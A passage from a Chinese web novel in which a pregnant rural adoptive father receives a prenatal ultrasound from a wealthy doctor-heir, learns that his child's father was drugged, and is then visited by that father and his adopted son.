这个男人每次见到都会穿着优雅的西装,姿态松弛闲散,看上去总是一副漫不经心的样子,却又和昭昭小叔他们一样,浑身散发着一股上位者的气息。 但今天他套了身白大褂,大概是刚做完志愿服务,脖子上还挂着听诊器,由黎家大少爷摇身一变一副斯文谦和的学者做派。 看到自己,桃花眼闪过一抹惊讶,随后又扬起招牌的斯文笑容。 “咦,这不是昭昭养父吗?在这里见到你真巧。” 第22章 第 22 章 接盘者一号就位,修罗场…… 江之遇看这个斯文翩翩的长发男人朝自己走来, 举手投足优雅端方,却又透着点随性不羁的散漫。 午后阳光明亮刺眼,起了风。 轻柔舒缓的风拂过祠堂院子里的香樟树, 挟来一阵淡淡草木清香的同时卷来几片绿叶, 也将男人散至腰间的长发掀起一点发梢。 真的很像小海螺口中的从二次元漫画里走出来的撕漫男。 不过, 撕不撕漫不是重点。 江之遇惊讶的是, 大家口中姓黎、长发、从北城来的特别帅气的医疗志愿者, 竟然真的是昭昭小叔那位从小交好的世家朋友, 黎家金尊玉贵的大少爷。 “你这是……不记得我了吗?” 在江之遇为豪门大家的大少爷来他们这个穷乡僻壤的小地方做志愿者而感到十分意外怔在原地的时候,眼前的男人走近了些微微俯身问道。 他身量高,凑近来时压下一小片阴影, 那双总是斯文笑着的桃花眼也因此在江之遇面前放大了些,直视人眼睛的时候给人一种很深情的错觉。 江之遇不习惯被男人靠得这么近, 不自觉后退一步:“没、没有, 我只是没想到你会到这里来。” “那就是记得我。”黎清叙直回身,唇角笑意扩大, 镜片后的桃花眼也闪动着堪称愉悦的神采。 “我还以为你对我一点印象也没有呢。” 江之遇脸上表情有些窘迫。 他怎么会对这个男人没有印象。 在谢家的花园里这个男人踩到自己浇花的水管给自己道歉时, 他觉得这人还算谦和有礼, 可是在包厢里的那番话又让江之遇感到十分局促难堪。 不过,他还是问出了心中的疑惑:“你怎么会到这里来?” “公司在做一个世界范围内的义诊活动,提升企业形象和品牌推广力,我作为牵头者,自然要参与进来。”黎清叙不紧不慢解释。 “不是, 我的意思是那么多的地方, 你怎么会到溪源乡这么偏僻的地方来。”江之遇还是对在这里见到黎家大少爷感到不可思议。 “哦,你是说这个。”黎清叙像是才听懂了他的疑惑一般,斯文俊逸的脸上也露出惊讶的表情, “助理报给我很多志愿点,我随便指了一个就到这里了。” “确实很偏,我也没想到会这么远。”黎清叙状似意外的口吻,随即自我调侃地笑笑,“不过比起之前被扔去非洲的那段时间,溪源乡不算偏远,更没想到会在这里遇见你。” “昭昭找回来之前就和你住在这个地方吗?”黎清叙问。 江之遇点点头,将信将疑。 但因为黎家的业务确实覆盖范围广,就没再多问。 乡长在一旁看得一脸懵:“之遇,你认识这位黎先生?” 不等江之遇回答,黎清叙率先笑道:“他是我朋友小侄子的养父,来北城的时候见过几回。” 养父? 乡长骤然一听这个称谓,半天没绕过弯来,不过很快,恍然大悟。 之遇带三年前收养的义子去北城寻亲的事情溪源乡的村民们几乎都知道。 后来有人给溪源乡捐了一笔巨款和很多物资,还承担下了溪源乡灾后重建的援建任务,乡长作为溪源乡的一乡之长在其中接洽,才知道是他们遇到这样幸运的好事是因为昭昭。 昭昭竟然是北城豪门大家谢家走失的小少爷。 而提出捐赠意愿的,乡长从那位西装革履表情严肃的谢氏集团的总助口中了解到,正是之遇。 因此包括乡长在内,他们整个溪源乡的人都很感激昭昭和之遇,把他们养父子俩视为溪源乡的恩人和福星。 现在看到这位从北城来的黎先生也是之遇认识的人,乡长对江之遇的态度更加温和亲切了。 “既然认识,那你们聊,我再去动员动员其他乡民。”乡长笑眯眯地冲他们说,然后乐呵呵地背着手走开了。 乡长走后,祠堂的院子里除了黎清叙带过来的这批志愿者医生和那位量血压的老人,就没有其他人了。 这个时候是午间时分,太阳挂在正头顶,虽然暑气不像之前那样浓烈,可是吹来的风依旧是暖暖的。 乡民们这个时候不是在吃午饭就是在午睡,所以一整个上午热热闹闹的祠堂现在稍微安静了些。 等那位量血压的老人走后,黎清叙就对服务台前的志愿者们微笑道:“辛苦了,你们先去休息一会儿吧。” “好的,黎师兄,我们先回车上了,你也别太劳累了。” 一行人冲黎清叙挥挥手就走向祠堂门前停靠的那几辆大型保姆车。 这时,祠堂院子里忽然就只剩下江之遇和眼前这个男人了。 “要也检查一下吗?”黎清叙扬了下挂在脖子上的听诊器,语气和煦问,“我们这次带了很多先进的医疗设备,义务给大家做体检,可以测一下血压、心率……” 江之遇摇摇头:“我前不久才看过医生。” “这样啊。”黎清叙仍旧斯文和煦地笑着,话音却是一转,“是因为肚子里的宝宝吗?就是那时知道自己怀孕了吧?” 江之遇一怔,没想到男人会突然提起这样的话题,反应过来,已经讷讷点了点头。 毕竟那天在包厢,他的这些事情已经被那几个人全部收进眼里,不是秘密。 黎清叙收敛起桃花眼里的笑意,叹息一声:“其实那天你从包厢离开后我一直感到很懊悔。” “什么?”江之遇眨眨眼,有些跟不上他跳跃的话题。 “对于你找上阿延告诉他你怀了他孩子这种事情,我不应该用恶意的心思揣测你。” 黎清叙语气里满是歉意,与此同时,总是斯文笑着的俊逸面庞上也露出懊悔的表情。 江之遇又是一怔,半晌垂了垂眼眸:“没什么,都过去了……反正我又不会少一块肉。” 至少他的目的达成,那些人的话再刺耳对他有什么影响呢? 黎清叙忽而笑了笑:“你真有趣。” 他笑时桃花眼弯起,有种春风和煦的感觉,身后仿佛有无数花朵绚烂绽放。 换作任何一个人,都难以抵挡得住他这样一副斯文迷人的笑容。 江之遇扯了扯自己拎在手中装着折扇的藤编筐:“我还有别的事情,要先走了,你忙你的吧。” “那晚的意外其实我也想和你说声对不起。”这道迷人的声腔叫住他。 江之遇转过身,清透的眼眸里再一次露出茫然。 “什么那晚的意外?” “你和阿延,那天晚上都是因为我这个当兄长的不称职,没留意到弟弟给阿延下了药,才导致你们发生了那样的意外。” “下药?”江之遇听到这两个字,又糊涂了。 黎清叙便继续道:“在昭昭的欢迎宴上闹那一出你应该也知道了,我弟弟喜欢阿延,从初中的时候就一直暗恋他,所以成人礼那天晚上他给阿延的酒里下了催情的药剂。” “没想到中途你出现,打乱了他的计划,最后变成了你和阿延……” 黎清叙一开始并不知道酒店当晚发生了什么,虽然一直很好奇,可直到眼前这个漂亮的男人从暗光颤动的包厢门外闯进来,他才隐隐拼凑出那晚的真相。 真巧。 该说不说世界上竟有这样的巧合。 他一眼心动的美人还没有任何后续的发展就怀了自己从小一起长大的发小的孩子,还是间接由他们促成。 如果不是自己的疏忽,放任弟弟做出那种事情,又或者那天晚上他强行打开门,带阿延去自己的私人医院洗胃,会不会…… 黎清叙桃花眼眯起,脸上闪过隐晦莫测的神情。 江之遇则整个人呆在了原地。 原来、原来那天晚上昭昭小叔并不是发烧烧糊涂了,而是被人下了催.情药剂。 难怪他的身上会那么烫,会说自己费尽心思接近他,还用那样拙劣的手段,一再警告他离开。 原来是以为自己给他下药,把他弄成了那副样子。 江之遇像在医馆醒来后得知男人也能怀孕一样再次受到了冲击。 好半晌,他回过神来,看向这位碰巧来到溪源乡和他透漏这些事情的黎大少爷:“你现在跟我说这些有什么用呢?” “我只是想向你说声对不起,不想你对我有什么误解。”黎清叙忏悔的口吻,“还有,你确定要把这个因为意外怀上的孩子生下来?” “不行吗?”江之遇一瞬间露出小动物嗅到危险气息的警惕眼神,腾出一只手护住肚子里的宝宝。 黎清叙被他的样子和动作可爱到了,心里难免又有些吃味。 “虽然现在的医疗水平很发达,医院产科关于男人生子的技术手段也十分成熟,可毕竟和女性的子宫不同,孕腔天然窄小,所以生育的风险要更大一些。” 黎清叙从商之前是一位优秀的医学研究者,年纪轻轻就已经攻读到了博士学位。 原打算在实验室做一辈子的技术攻克,耐不住家里人一定要他继承家业。 眼前男人身形这么纤细清瘦,看上去单手就能将他托起,真的要冒这么大的风险生下这个意外的孩子吗? 江之遇听他说男人的孕腔小,生育会有很大的风险,一瞬间隽秀面庞上露出迟疑的神色。 可一想到这是他在两世唯一的亲人,是这段时间给他带来无数美好期盼的宝宝,他又坚定了下眼神:“我还是想把他生下来。” 黎清叙微微一怔,对上他坚定的眼神,无奈扯了扯唇角的笑意,语气酸溜溜的:“那好吧,如果你一定要把孩子生下来,记得定期做孕检,随时监控孩子的成长状态。” “我带来的设备里就有专门做产检的,要帮你看一下胎儿的情况吗?” 黎清叙嘱咐完,抬手指了指祠堂专门搭出来用于给溪源乡的村民免费做体检的隔间检查室,询问一声。 江之遇再次拒绝:“我前不久做过产检。” “对,你刚才说过。” 黎清叙歉意笑了笑,又恢复成一副斯文翩翩的模样。 “不过我们的医疗设备十分先进,不仅能通过四维彩超清晰看到宝宝的状态,连最细小的动作都能捕捉到,还能够对早期胎儿的发育状况和健康风险做出评估。” “也就是说,如果你坚持要把这个孩子生下来,或许我们可以帮你做一下风险评估和预产规划,如果发现异常,能够提前做出干预,对你和宝宝都好。” 风险评估? 预产规划? 江之遇听不太懂黎少爷口中这些专有名词,却抓住了“风险”和“健康”两个字眼。 他很期待这个小生命的降临,无比希望这个宝宝能够健健康康、平安无恙地来到这个世界。 他猜自己就是因为小时候身体病弱被亲生父母丢弃,因为在被老爷爷收养后的一段时间里,他吃了很多味道很苦的草药。 虽然后来体质慢慢转好,都能干很多粗活重活,可江之遇不想自己的宝宝以后也经历这一遭。 “你说的这些是真的吗?”江之遇抬起头问道。 他终于不再用躲闪或是警惕的眼神看自己了,乡间的天空澄净,一朵白云在头顶轻缓飘过。 清亮的光透过香樟树的枝叶缝隙落在这双琥珀色的瞳仁里,一如黎清叙那日在谢家花园水雾后看到的景象一样,漂亮得让人移不开眼。 黎清叙心神一荡,感觉心脏又开始扑通扑通跳个不停。 他扯开唇角,笑意扩大:“当然。” “那我晚点的时候可以找你们看一看吗?”江之遇还要去桑姨那里托她代卖自己的手工制品,给自己和宝宝攒钱。 黎清叙和煦笑道:“你什么时候来找我都可以。” 江之遇便向他说了声谢谢,拎着藤筐走出祠堂,去村东找桑姨,没有看到身后一道长久停留在他身上的觊觎视线。 谢家庄园。 谢寻昭午休完起床就换好帅气的马术服准备去马场练习骑术。 他如今不仅补学校里的课业,还在学习骑术、剑术,争取做像小叔叔那样优秀全能的男人,也在下次见到养父后,给养父一个惊喜。 小叔叔在这时驱车回来了,今天是周末,即使是休息时间,小叔叔白天也多待在公司,很少这个时间点回家。 谢寻昭如今已经能够很好地和这位第一眼见到让他有点害怕的小叔叔相处了。 小叔叔人看着气场冷厉,让人不敢亲近,其实对他特别好,非常宠他,无论是在功课还是马术、剑术的练习上遇到疑惑和困难,小叔叔都会很耐心地教他。 今天难得在周末时间看到小叔叔回来,谢寻昭从楼梯上走下来时向小叔叔问了声好,然后看到小叔叔有些心不在焉地冲他点了下头。 谢寻昭习以为常地走下楼梯,准备去马厩牵小叔叔给自己买的那匹性格特别温驯的小黑马。 忽然被小叔叔叫住。 “你上次说有点想你养父了,想去乡下看望他?” 谢寻昭转身,重重点头:“嗯,我很久没有看到养父了,也不知道他最近过得怎么样。” “那你去跟爷爷奶奶说,说你想你养父了,要回乡下看望他。” 谢津延眉头微微蹙了蹙,从那个男人清早悄无声息地跑回乡下起,他的心头就纠缠着一股莫名的燥意,直到现在都未能消散。 “真的吗?我可以去看养父吗?”谢寻昭漆黑的眼眸一下子变得晶亮,愈见帅气沉稳的小男生露出孩童般天真期待的表情。 “嗯。”谢津延面无表情应了声。 顿了片刻。 “我陪你过去,免得你再次被坏人拐走。” 第23章 第 23 章 老实美人初遇修罗场…… 津延说不清现在是一种什么样的复杂心理。 他这几日无论做什么事情都没办法集中注意力, 他把这归结于事情的发展脱离了自己的掌控。 这种脱轨的感觉让他很不自在。 谢津延做事向来雷厉风行,果敢迅速,有因溯因, 有果寻果, 快速解决问题, 从不会让麻烦困扰自己。 然而这一次…… 谢老夫人突然听小孙子说要去乡下看望养父, 先是一怔, 随后笑了笑道:“之遇确实回乡下有一段时间了, 你和你养父一起生活了那么久,想念他也很正常。” “想去就去,正好今天是周末, 能赶个来回,我让赵管家陪你过去。” 谢老夫人慈爱地摸了摸小孙子的头, 对小孙子几乎有求必应。 “不用赵管家陪我, 奶奶。”谢寻昭仰起脑袋,眼睛亮晶晶的, “小叔叔说他陪我一起去。” “阿延陪你一起去?”谢老夫人脸上闪过一丝意外, 望向今天早早回到家里的儿子。 谢津延解袖口的动作微微一顿:“……他出门我不放心。” “也好, 你陪昭昭去的话会更安全,我也能省一省心。”谢老夫人显然也为三年前小孙子的走失心有余悸。 溪源乡虽然是小孙子生活了三年的地方,毕竟从北城去到那里需要一段距离和时间,算是出远门了,谢老夫人心里不免还是有些担忧。 不过有阿延陪着去的话她就放心了。 阿延性情稳妥, 这几年磨练的越发沉稳持重。 有他陪小孙子的话, 自己就能宽下心来。 而且自从大儿子大儿媳过世,阿延承担下家族重担,三年来一直未曾松懈, 陪昭昭去乡下也好,就当散散心。 之遇之前跟昭昭打视频通话时给他们看过溪源乡的景象,风景清丽,山明水秀,真是个漂亮的地方。 他还给自己打理出来一个漂亮的小园,有花有草,种植了许多瓜果蔬菜。 自己亲手用竹子制作的竹篱笆上爬满了颜色各异的花朵,院子里还有散养的母鸡,说是每天能下好多鸡蛋。 要不是谢老夫人现在上了年纪,不方便出远门,她都想同小孙子一起去溪源乡了。 “你记得再给之遇带点补品过去,他太瘦了。”谢老夫人叮嘱。 “嗯。”谢津延点头,让宋秘书再次准备了许多孕期需要的营养品。 私人飞机划过湛蓝的天空,从北城飞往南地。 江之遇把自己在家做的手工制品送到了桑姨那里。 桑姨告诉他,他用榫卯工艺做的吉普车、坦克、小飞机等榫卯积木玩具卖得很好,让他再多做一些。 江之遇有些意外,没想到他进行改装的这些木制小玩具会这么受欢迎。 这还是他上次在昭昭小叔的私人别墅看到昭昭小叔家玩具房的乐高军舰受到的启发。 那个没有拼完的大型乐高军舰让江之遇很是喜欢,于是回到家里后,就用他擅长的木工和榫卯手艺结合乐高的拼玩模式,做了几个小孩子比较喜欢的军用模型。 他将木料打磨得光滑圆润,每一块小木头都能够被小朋友很好地抓握在手里,榫卯工艺不用一枚钉子,不需要用胶水粘合,一榫一卯自己就能完美契合。 没想到会这么受小朋友喜欢。 江之遇于是答应桑姨这几天再多做一些。 他从桑姨那里回到家,又做了会儿手工活。 等稍微晚一点,祠堂志愿台那边的村民们散了些,江之遇才从家里出门,去找黎少爷。 之所以这样,除了手头上有每日工作要做,还有就是,他怀孕这件事情除许大夫、小蓁姐李婶外,并没有其他人知道。 他暂时还不想让大家对他有过多的关注,一切等宝宝生下来再说。 夕阳在远方的山峦没下最后一道光线,黛色涂抹晚空,几颗星子悄悄挂在了天幕上。 江之遇重新走进祠堂,看到黎少爷正笑容温和地叮嘱村里的王阿婆,让她不要太过担忧。 她小孙女的白血病可以通过申请黎家医疗的慈善绿色通道进行救治,审批快速,治疗费用不用她们缴纳。 王阿婆的小孙女前些时日查出了白血病,王阿婆一夜之间急白了头,人也憔悴苍老了许多。 她儿子去世得早,儿媳妇四处打工为女儿筹治疗费,乡里的各家各户也都发起过捐赠活动,可到底杯水车薪,小地方的医疗条件也有限。 没想到这次黎少爷公司发起的这项义诊服务帮她们解决掉了这个难题。 王阿婆感激地拉着黎少爷的手一个劲儿地说谢谢。 黎少爷春风和煦地安慰她不要担心。 等送走王阿婆,江之遇走了过去。 灯光将屋子里颀长的身影在地面上拉得很长,黎清叙冲他斯文和煦地笑了笑:“你来了?” 江之遇微微感到有些拘谨,不过因为刚才王阿婆的事情,他对这位黎家大少爷有了些改观。 “只有你一个人吗?”江之遇环顾了一下四周,没看到白日里那些身穿白大褂的其他志愿者医生。 黎清叙点头:“嗯,他们随乡长一起去吃晚饭了。” “我是不是也耽误你吃晚饭了?”江之遇没想到他这么晚了还没有吃饭,为有些打扰到别人而感到不好意思。 黎清叙笑了笑:“我不饿,下午你们村里的村民给我们送了很多好吃的。” 江之遇的不安便少了些。 “要、要在那里检查吗?”江之遇指了指旁边单独搭建出来的隔间。 他一紧张的时候说话就有些结巴。 黎清叙那晚在酒吧包厢的时候就注意到了,再次笑了笑:“是在那里。” “我要在这里等他们吃完饭回来吗?”江之遇还不知道黎家大少爷从商之前是一位优秀的医学研究者,以为帮他做产检的是那些志愿者医生。 黎清叙笑道:“不用等他们,我来帮你做。” “你、你帮我做?”江之遇一听说是眼前这个男人要帮他做产检,清润透亮的眼眸顿时睁大,声线也因为意外而颤抖了几分。 黎清叙最喜欢看他因为受惊而露出的小动物般的模样,让人忍不住很想欺负。 “这里很多设备我参与过研究改进,没有人比我更熟悉它们的用法,何况阿延大概没有告诉你,我接手家里的生意之前是学医的。” 这确实是江之遇不曾知晓的。 他还以为是一同前来的志愿者医生帮他做检查。 江之遇一时间感到十分局促,手不自觉捏紧了衣摆,面上也露出了犹豫的神色。 黎清叙饶有兴致地观察着他的面部细节和手上的小动作,调侃道:“怎么,你是怕我不专业吗?” “不是,”江之遇微微涨红了脸,“我只是没有想到会是你……” 让昭昭小叔从小交好的朋友给自己做产检,总觉得哪里怪怪的。 黎清叙像是猜到他的心思一样,安慰道:“放心,我知道你因为阿延的关系会觉得有些尴尬,你把我当作普通的医务工作者就可以了。” 江之遇想了想宝宝的安危,也想更清楚地看一下肚子里宝宝的发育状态,于是踟躇着走进了检查间。 在黎少爷的团队带来的专业检查床上躺下,江之遇觉得自己整个人像躺在砧板上的鱼一样,非常紧张不安。 他第一次去镇医院确认自己是不是真的怀孕了躺在医院的检查室里也是这样忐忑的状态。 只不过给他做产检的医生是陌生的面孔,尽管觉得害怕羞耻,他还是忍了下去。 可现在要给他做检查的是昭昭小叔的朋友,是他打过好几次照面的熟悉面孔,江之遇还是没办法做到完全忽视这样的关系。 窗外轻微摇晃一阵树影的婆娑,乡间的夏夜虫鸣清脆悦耳。 又或许祠堂的检查室里只有他们两个人,江之遇现在像条待宰的鱼一样,因此所有细微的声响都能听得清。 他余光看到黎少爷往手上套着白色的乳胶手套。 男人指节分明修长,套乳胶手套的动作慢条斯理而优雅。 不像要给别人做检查,倒像是在摆弄艺术品一样。 戴好手套,男人取出超声探头,声音温和地示意道:“把衣摆撩起来一下。” 江之遇因为已经有了上次在镇医院做彩超的经验,于是听话地把衣摆从肚子上撩起来。 这具身体和他一样是晒不黑的体质,又因为幼时病弱,生活清贫,常年处于一种病态般的白。 虽然江之遇这段时间对这具身体进行了非常细致的照顾和调理,可还是纤瘦了些。 因此黎清叙眼里便晃过一片白嫩的肚皮,腰肢细得仿佛一不小心就能折断。 他往这片雪白上滴了几滴耦合剂,动作轻缓地将这种无毒无味的高分子凝胶剂揉开。 “你真的打算和阿延切断所有联系,以后也不让孩子认阿延吗?” 江之遇忍着到小肚子上传来的冰凉又酥酥麻麻的触感,小声嗯了声:“我和他本来就是个意外,彼此不打扰是最好的结果。” 黎清叙镜片后的桃花眼眯了眯,在江之遇看不到的地方唇角弯起十分愉悦的弧度。 他修长手指拿起超声探头,探到小肚子上细细摩挲。 带一点挤压的触感让江之遇感到有些不适,隽秀的眉头微微拧了拧。 “是我动作重了吗?”黎清叙一边查看着显示在诊断仪上的影像,一边留心躺在检查床上的人的反应。 江之遇摇摇头:“没有……” “如果你觉得不舒服就跟我说,我尽量把动作放轻一些。” “没事,你继续。”江之遇闭上眼睛,卷翘睫毛轻轻颤了颤,只要肚子里的宝宝安好,他怎么样都可以。 检查过后,肚子里的胎儿发育一切良好,并无半点异样。 黎清叙摘下手中的乳胶手套,弯起眼睛:“你接下来可以安下心来养胎了,记得定期做产检就可以。” 江之遇撩下衣摆,用黎少爷递过来的纸巾擦掉肚子上的冰凉液体,向他说了声谢谢。 黎清叙心情很好,一边收拾着医疗设备,一边嘱托这个身形纤细内心却十分独特坚韧的男人需要注意的事项。 “孕期多关注自己的身体,保证充足的睡眠和愉悦的心情。” “我看你会做一些手工木活,听说你自己打理着一个院子,注意不要弯腰提太重的东西和大幅度动作。” “还有,你有没有想过以后给孩子找一个……” 话未说完,祠堂外传来一阵喧哗的动静,似是乡长带着什么人过来了。 黎清叙料想应当是他团队里那些曾经学院的学弟学妹吃完晚饭回来了。 江之遇也这样认为,快速理了理衣摆就掀开检查室的帘子走了出来。 夜色澄明,天空中不知什么时候挂了一轮弯弯的新月。 皎皎月光雪纱似的铺下来,落在祠堂院落里一个高大峻拔的身影上,旁边还跟着个数日不见身量长高了不少的男孩。 乡长热切地和这人谈着话,引他们往祠堂里边走。 男人却神色淡漠,漆黑如幽邃深潭一样的眼眸直直盯着他。 江之遇心脏一惊。 他每次被这样的眼神注视着的时候腿脚就会不自觉发软,感觉头皮一阵发紧发麻。 他不知道是自己的眼睛出问题看花了还是怎么样,为什么这个无论如何都不会出现在这里的男人来到了乡下,还由乡长热切引领着走进了祠堂。 就知道当江之遇张了张口想要问出心中的疑惑时,眼前这个神色阴鸷冷厉的男人和他身后跟着从检查室出来的斯文翩翩的男人对上。 冷冽嗓音与和煦的语调相撞。 江之遇听他们同时开口。 “为什么你会在这里?” 第24章 第 24 章 “你让他碰你肚子了?”…… 江之遇有些懵, 不知道为什么昭昭小叔会突然来了乡下。 他原以为是自己在检查室的床上躺久了,密闭的空间,他全身处在一种紧绷的状态, 大脑有些恍惚, 因此看错了也说不定。 可是这道低沉冷冽的嗓音又分明再熟悉不过。 昭昭一头扎进他怀里, 声音里是克制不住的思念:“爸爸, 我好想你, 终于再次看到你了。” 空气中充斥着怪异的氛围, 然而谢寻昭一看到养父就迫不及待地扑了过来,将养父紧紧抱住,根本没有注意到哪里不对劲。 谢津延就是在这时开口:“看到了吗, 我是带我小侄子来看望他养父的。” 男人神色依旧淡漠,冷鸷眼眸看不出情绪地望着从屋子里跟着出来的熟悉身影上, 讥诮话音一转, “倒是你,你在这里做什么?” 黎清叙同样注视着突然出现在这里的发小, 惊讶在脸上停留了几秒, 随后弯起眼睛, 指了指一旁的志愿者标识,从容笑道:“当然是来这里做义诊。” “你现在还需要做这项工作?”谢津延瞥过去一眼,余光落在被小侄子抱着的男人细瘦的腰肢上,那里衣摆露出来一角,显然整理得有些匆忙。 他眉心不自觉皱了皱, 沉冽眼底覆上一层晦暗。 黎清叙笑着摊了摊手, 一派坦然的样子:“我从来没有忘记过初心。” 谢津延沉默片刻。 黎清叙在答应家里人从商之前经常去各地做志愿活动,最远去过非洲,他确实有来这里的理由。 只是这么巧吗? 就这么巧地来到了昭昭养父生活的地方。 空气中一时陷入怪异的静默。 最后是乡长打破这样奇怪的局面:“谢总, 昭昭养父就在这里,您先进去坐一会儿,我去给您倒杯水。” 当这个西装裹身,气场强大的男人带着昭昭踏进村门口起,乡长就意识到这人身份不简单。 果然,听昭昭喊他小叔。 竟然就是之遇带去北城千辛万苦帮养子找到的真正家人,真的是豪门大家,给溪源乡捐了那么多钱和帮助溪源乡重建的幕后大佬。 乡长没想到三年前流落到他们村被之遇收养的灰头土脸的小孩出自富贵人家,也没想到小少爷被找回豪门后没有忘记他们,现在还会回来看望他的养父。 更没想到昭昭会把他那位刚认的位高权重的亲小叔也带到了他们这个穷乡僻壤的地方。 乡长内心十分激动,热情地招待叔侄二人,听说之遇去了祠堂,立刻带他们来了这里。 而且从刚才的对话中,乡长听出来原来这位黎先生口中的朋友就是谢总。 一个小地方突然来了两个大人物,还是相识的人,乡长更加不敢怠慢。 江之遇确认了自己没有在做梦,怀里搂着他的小孩真真切切就是他的养子,身边跟过来的这个男人也是真的…… 尽管周遭的氛围十分怪异,充斥着一种莫名对峙的僵持,江之遇还是被养子回来找他的惊喜和喜悦充斥着内心。 “昭昭,你怎么会突然想到回溪源乡呢?你现在学业那么紧,要学的东西那么多,回来看我,会不会耽误你的功课?” 江之遇知道养子自从进了贵族学校就变得很忙,在赶跟多功课,而且上次他们约定的是等昭昭放寒假的时候再回来找他,怎么也没想到现在就回来了。 谢寻昭用脑袋在养父怀里蹭,享受和养父许久未见的美好时光:“我太想你了,奶奶说让我想找你就来找你,还有小叔叔陪着我。而且我是坐小叔叔的私人飞机来的,很快,不会耽误我的功课。” “哦。”江之遇了然,原来是坐私人飞机过来的,怪不得会这么快。 可还是对男人能够陪小侄子来乡下感到不可思议。 这样一个身份矜贵,皮鞋落了一粒灰尘都忍不住反复擦拭的高高在上的男人,江之遇从来没想过他会踏足他们这方乡间小地。 养父子俩说了会儿重逢的话,彼此都很开心。 谢寻昭把脑袋从养父怀里仰起来,疑惑问:“爸爸,你在这里做什么?我刚才看到你和黎叔叔从那间小屋子里出来,这里写着义诊活动,你是身体不舒服吗?” 江之遇听养子这样问,神情一怔,随后隽秀白皙的脸上飘来一抹红晕:“嗯,爸爸这两天不太舒服,来黎先生的志愿台做检查。” 他不太敢让养子知道他怀孕的事情,主要是不知道怎么解释。 让昭昭知道自己怀了他亲小叔的孩子,江之遇都不知道要怎么面对他。 谢寻昭一听养父说他身体不太舒服,立即拉住他的手急切问:“爸爸,你怎么了,怎么会不太舒服。” 和养父生活在一起的三年,谢寻昭知道养父身体一向弱,还要努力赚钱养他。 江之遇安抚养子道:“爸爸没事,只是最近有些劳累,休息休息就好了。” “那就好。”谢寻昭重重舒了一口气,却还是不放心,问之前来家里参加他欢迎宴的小叔叔的朋友。 虽然也不知道为什么黎叔叔为什么突然摇身变成了医生。 “黎叔叔,我爸爸说的是真的吗?他真的没什么事吗?” 黎清叙桃花眼在漂亮男人有些遮掩的面庞上停留几秒,又看了一眼始终沉着脸的发小,最后笑容和煦地对昭昭说:“没事,你爸爸他身体没有问题,好好休息就好了。” 谢寻昭这才彻底放下心来。 乡长给大家沏了茶过来,江之遇向村长道谢:“谢谢乡长,我和昭昭先回家了,就不在这里打扰你们了。” “那也好,你们父子俩多日不见,一定有很多话说。” 乡长笑眯眯的,又转向一旁昭昭那位气场冷厉的小叔身上,“谢先生今晚可有落脚的地方?如果您不嫌弃的话,我们可以给您准备一间房间。” 谢津延幽晦目光自始至终盯在男人的脸上,声线冷冽道:“劳烦,不过我要先去我小侄子养父的家里拜访一下。” “好好,那我这就去安排。”乡长立刻张罗去了。 院子里一时间又恢复了怪异的静默。 江之遇拉起昭昭的手,不敢直视他小叔叔的眼睛:“那什么……昭昭,我们回家吧,你吃晚饭了吗?” “还没有呢,爸爸。”谢寻昭从私人飞机上下来就和小叔叔被宋秘书提前安排好的车送到了这里,山路崎岖弯绕,车行山中花了点时间,他们还没来得及吃任何东西。 江之遇就摸摸他的脑袋:“那爸爸回去给你做你最喜欢吃的西红柿鸡蛋面。” “太好了!”谢寻昭特别开心,“我很久没有吃爸爸做的饭了。” 黎清叙笑着插进他们的对话:“我能也去蹭饭吗?” 却被发小沉着脸冷不丁打断:“你以什么身份?” “欸,不行吗?”黎清叙笑得很是斯文无辜,“我以为我是你的发小,昭昭小时候我还来你家抱过他,被他叫一声黎叔叔,既然这么巧在这里遇见,你总不能赶我走吧?” “那、那一起吧。”江之遇不知道为什么空气中多了一丝火药味,只以为是自己的错觉。 黎少爷下午一直在为乡里的村民们服务,刚才等他做检查等到这么晚,虽说他告诉自己已经吃了点村民们送的东西,可江之遇还是有些打扰到他的感觉。 谢津延脸色很是难看。 几人一同从祠堂前往江之遇的小院。 对于昭昭来说,像是回到了他自己的家一样,整个脚步都很轻松欢快,一直拉着养父的手不断地跟他说话。 倒是身后跟着的两个同样模样出挑,俊逸非凡的男人一言未发,仿佛他们并不是从小交好的朋友。 从祠堂到江之遇的小院没走多长时间。 绕过几片菜畦,一方池塘,还有一条不宽不窄的乡间石子小路,大约十分钟,就到了江之遇的小院。 乡间夜晚宁静,灯光没有北城那么明晃晃的,是不夜之城,浸着最自然原始的夜色,分外静谧舒适。 远远的,他们就看到江之遇的小院门檐上挂着的两盏自己手工制作的编织竹灯。 灯火暖润,悠悠两笼灯光照过来。 江之遇推开门,谢津延看到小院里的景象,面上表情微微怔住。 在昭昭养父暂住在自家的这段时间里,谢津延就了解到这个男人手很巧,很会充实自己的生活,每天都有使不完的精力。 可是看到眼前被他打理得井井有条、漂漂亮亮的小院,还是感到有些意外。 那天雨夜男人拿着协议让自己不要打扰他们,谢津延脑海里一闪而过这样一个纤细的男人要怎么一个人在乡下带孩子的念头。 他怎么有勇气将这份协议甩到自己面前。 然而现在…… 谢津延眉心轻微皱起,踏进这座漂亮的小院,纠缠在心头多日的那股燥意不知为何更浓烈了。 谢寻昭时隔这么长重新回到自己住了三年的地方,异常亲切。 尤其是他和养父离开溪源乡之前被洪水冲得破破烂烂的屋子被修缮好了,小院也被养父种了瓜果蔬菜,打理得漂漂亮亮。 谢寻昭十分高兴。 黎清叙也眯着桃花眼饶有兴致地打量这处小院。 看来这个男人比自己想象中还要有趣。 江之遇带几个人进了屋子里,打开灯。 屋子里也被他布置得简洁温馨,桌子椅子全是江之遇自己手工打制的。 江之遇局促不安地招呼他们坐下。 怎么也不敢相信有一天昭昭小叔还有黎家这位大少爷会到他这个地方来。 他去院子里摘了几颗新鲜的番茄,又从搭起的木架上摘了几条鲜嫩的黄瓜,打算给他们一人做一碗西红柿鸡蛋面,再做一个拍黄瓜。 全程,谢津延的视线追随着他,幽不可测的漆黑眼眸盯着他在小院忙碌的纤细身影,又追随着他拎着采摘好装在篮子里的蔬菜去了厨房。 江之遇不是没有察觉到他的视线,那种像是被猛兽咬住的感觉太强烈了,他太熟悉这样的眼神,总是让他腿脚不由得虚软。 诚然,他不知道昭昭小叔为什么要用这样的眼神一直盯着自己。 他把番茄和黄瓜放在洗碗池里,拧开水龙头。 清凉的水哗啦哗啦流下,他顶着这道目光如芒在背地清洗着瓜果,远远能听到被昭昭带到院子里黎少爷惊奇赞叹的声音。 江之遇努力忽视这道视线。 忽而,厨房的门关上了。 一道高大的身影笼过来,男人不知什么时候走到了厨房里。 窗外虫鸣吱吱,乡间一到了夜晚就静谧得像是一个与世隔绝的世界,被一只无形的手按了减音键。 